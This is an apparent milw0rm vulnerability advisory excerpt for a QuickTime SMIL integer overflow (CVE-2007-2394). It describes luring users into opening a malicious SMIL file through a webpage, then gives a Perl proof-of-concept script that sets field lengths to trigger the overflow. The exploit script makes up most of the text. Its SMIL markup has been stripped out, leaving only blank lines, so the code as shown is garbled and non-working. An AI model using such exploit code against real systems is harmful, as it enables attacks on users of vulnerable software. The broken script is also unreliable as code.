----------------------------------------------------------------------
ATTACK VECTORS
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This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:
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PROOF OF CONCEPT
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#!/usr/bin/perl -w
####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes
####
$file = " poc.smil";
$padd = "x";
$cop_len = 36;
####
# By choosing the following lengths the
# integer overflow will be triggered.
####
$tit_len = 223;
$auth_len = 65280;
open(FH,">$file") or die "Can't open file:$!";
print FH
"\n".
"\n".
" \n".
" \n".
" \n".
"\n".
"";
close(FH);
# milw0rm.com [2007-09-03]